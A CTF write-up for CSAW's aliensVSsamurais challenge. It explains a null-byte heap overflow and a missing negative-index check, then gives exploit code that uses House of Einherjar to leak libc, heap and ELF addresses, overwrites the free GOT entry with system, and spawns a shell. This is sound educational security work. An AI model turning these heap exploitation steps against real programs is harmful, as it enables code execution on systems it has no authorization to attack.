Challenge: aliensVSsamurais libc
Reversing
$ file aliensVSsamurais
aliensVSsamurais: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=226c2e3531a2eb42de6f75a31e307146
d23f990e, not stripped
$ checksec aliensVSsamurais
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Quickly firing up IDA we can find below functionalities of challenge binary.
function dojo
- Allocate
samurai
s and their weapon name of fixed 7 bytes lengthsword
s (option 1) - Free
samurai
s andsword
s (option 2) - Move on to
hatchery
function (option 3)
Just after dojo
function binary saves __malloc_hook
and __free_hook
values in global variable (discussed afterwards)
function hatchery
- Allocate
alien
s and theirname
s of variable length specified by us. Here beforemalloc
ing anything binary checks if__malloc_hook
has been modified and will continue to proceed only if hook is not changed. (option 1) - Free
alien
s and theirname
s. Here beforefree
ing anything binary checks if__free_hook
has been modified and will continue to proceed only if hook is not changed. (option 2) - Change an
alien
sname
with a new name of fixed 8 bytes length, this function also prints the previousname
of thealien
(option 3) - Move on to
invasion
function (option 4)
function invasion
- Frees allocated
samurai
s andalien
s - Decides who won,
samurai
s oralien
s ? <– not so relevant lol
Bug Hunting
Now there are two bugs in this challenge binary and at least (lol) two ways to solve this challenge.
Single Null Byte Heap Overflow
If we see closely, while allocating alien
s name
, length of input taken and copied into name
s memory is same as length name
specified by users and then a null byte is append to name
. Hence we get a null byte overflow. This is the bug I exploited during the CTF.
Loose Checks on Index
While Renaming an alien
, binary asks us the index
of the alien
for which we want to change name. There are no checks to handle negative values of index which in this case results in arbitrary write and results in a different exploitation approach which can be found in writeup by 0n3m4ns4rmy.
Exploitation
In this section I will be explaining my exploit code, so if you want to just look at that here it is.
Now I have made a post about how to exploit Null byte heap overflow
before but what makes this challenge interesting is that challenge binary has got checks on __malloc_hook
and __free_hook
. So by normal way if we try to do a fast-bin attack to overwrite __malloc_hook
. We will not be able to execute malloc
afterwards. But still exploitation is possible. As we see in checksec
results that binary does not have Full RELRO (RELocation Read-Only) enabled, we can overwrite GOT entries to get code execution.
Leaking Libc
Our challenge binary has PIE (Position Independent Executables) enabled which will randomize process layout in memory. So in order to overwrite GOT entries we need to leak address of ELF. But we cannot do that directly. So we will start by leaking libc address.
To find libc leak we will perform heap magic aka House of Einherjar. According to this, if we overflow a null byte in the next chunk (which is a smallbin
, lets call it target_sb
) from exploit_fb
(chunk that we use to overflow target_sb
). This will cause target_sb
s prev_in_use
bit to be cleared and also we specify a fake prev_size
larger than exploit_fb
. Now when the target_sb
is freed, it will find that prev_in_use
bit is cleared and will merge with a fake chunk calculated by prev_size
. This will be creating a fake_sb
. fake_sb
will be overlapping our exploit_fb
.
Now new allocations can be requested from fake_sb
. Here we allocate calculated bytes from fake_sb
so that after allocation, part of fake_sb
chunk remaining free will be having same address as our exploit_fb
. Now we have one free chunk and one allocated chunk both at same heap address so we can use allocated chunk to print (leak) address of forward pointer pointing to main_arena. From address of main_arena
we can calculate address of libc base.
Enough of theory rambling, Now I will try to explain my exploit to get libc leak.
# allocating 5 samurai
alloc_s()
alloc_s()
alloc_s()
alloc_s()
alloc_s()
# deleting 4 samurai
delete_s(0)
delete_s(1)
delete_s(2)
delete_s(3)
# moving on to hatchery
exit_s()
In our challenge, alien structure that we will be using for our exploitation is like address_of_alien_name|hardcoded_value_256
and of fixed size 0x20 (including heap metadata). We need at least 0x100 byte of heap chunk to perform House of Einherjar
so we need alien name
chunks. But the problem is alien
and name
structs are will be alongside together in normal scenarios. In order to get rid of alien
chunks I allocated 4 samurai
chunks and freed them so those freed chunks will be used afterward to allocate alien
chunks and we can focus on exploiting name
chunks. If you see I have allocated 5 samurai
s that is so because that will be helpful in getting a ELF leak afterwards. Bear with me for now.
alloc_a(0xf0,'A' * 0xf0)#sb1 #0
alloc_a(0x70,'B' * 0x70)#fb1 #1
alloc_a(0xf0,'C' * 0xf0)#sb2 #2
alloc_a(0x30,'D' * 0x30)#fb2 #3
delete_a(0)
delete_a(1)
# null byte heap overflow
# prev_size = 0x180
# prev_in_use = 0
alloc_a(0x78,'E' * 0x70 + p64(0x180)) #4
# first fastbin gets overlapped
delete_a(2)
alloc_a(0xf0,'F' * 0xf0) #5
#gdb.attach(r)
# libc leak
l = show_a(4)
rename_a(4, l)
libc_base = u64(l + "\x00" * 2) - libc.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc_base))
First I allocated 4 chunks (smallbins and fastbins)
Note- all the chunks below are alien name
sb1 (about to be merged with sb2) | fb1 (about to be overlapped) | sb2 (about to get overflowed into by fb1) | fb2
Delete first two, then allocate fb1
again to overflow null byte into next sb2
and put a fake prev_size
of 0x180. Then we delete sb2
, so it will see that previous chunk is free base on its prev_in_use
being cleared. It will go back prev_size
in memory to find previous chunk and will be merged with it. This will create a fake chunk of 0x280 bytes that will be overlapping our allocated fb1
.
Now we allocate a chunk of 0x100 from fake chunk so that new free chunk remaining will have the same address as our fb1
. Here we can make use of rename functionality of binary to leak the address of main_arena
and hence libc_base
. If you see I renamed it again to same value that I leaked, just so to prevent any unintentional behavior.
Leaking Heap and ELF
Yes I know we want to find ELF leak why am I trying to get heap address? There is a reason.
Whats happening?
- We want to leak ELF address
- Samurai
sword
names are stored on .bss - Address of
sword
names are stored on heap insamurai
structure - An address of heap is in
alien
pointing to alien’sname
What to do?
- Leak heap address of
name
by having an overlap ofname
(of alien 1) andalien
(alien 2) struct and calling rename functionality on alien 1 - Calculate address of
samurai
s structure using heap leak - Put the address of
samurai
in alien 2 by calling rename on alien 1 - Now call rename on alien 1 to leak address of
sword
which is our ELF leaked
# get the 0x280 byte chunk
delete_a(5)
alloc_a(0x80, "G" * 0x80) #6
alloc_a(0x60, 'H' * 0x60) #7
alloc_a(0x40, 'I' * 0x40) #8
# leak heap
l = show_a(4)
heap_base = u64(l + "\x00" * 2) - 0x15f0
rename_a(4, p64(heap_base + 0x14b0))
log.info("heap_base: 0x{:x}".format(heap_base))
#gdb.attach(r)
# leak elf
l = show_a(8)
rename_a(8, l)
elf_base = u64(l + "\x00" * 2) - 0x202720
log.info("elf_base: 0x{:x}".format(elf_base))
Here I deleted 5th chunk so that we get our full size fake chunk again. Now we do some heap feng shui to get an overlap between our fb1
(name
) and an alien
. To do this I allocated first 0x90 bytes then 0x70. So if we allocated anything now it will be overlapping fb1
. If you remember I had arranged 4 0x20 bytes free heap chunks for alien
structs so they dont interfere with my name
exploitation. But as this new chunk that we will be allocating will be effectively 5th chunks (total_allocated_aliens-total_deleted_aliens == 4), It will be allocating alien
also from our fake chunk and we will get an alien
and name
overlap. Hmm cool.
After that I just leak the heap by calling rename on 4th name
meaning fb1
. Use that heap leak to calculate address of samurai
and put that address in alien
using rename in name
fb1
. Leak the ELF’s .bss address by calling rename on alien
.
GET RCE Already!
# getting got address on heap
l = show_a(4)
got_free = elf_base + 0x202018
rename_a(4, p64(got_free))
# overwriting got value
l = show_a(8)
rename_a(8, p64(libc_base + libc.symbols['system'])[:-1])
# passing parameter to system (free)
alloc_a(100, "/bin/sh")
delete_a(9)
r.interactive()
Now that we have ELF leak we calculate address of free
GOT and use the same name
& alien
overlap to overwrite it with address of system
. Then allocate a new alien
with name
as /bin/sh
. So now when you free this alien
s name
you will be executing system("/bin/sh")
.
Enjoy your shell!
Thanks to CSAW for creating such fun challenge :)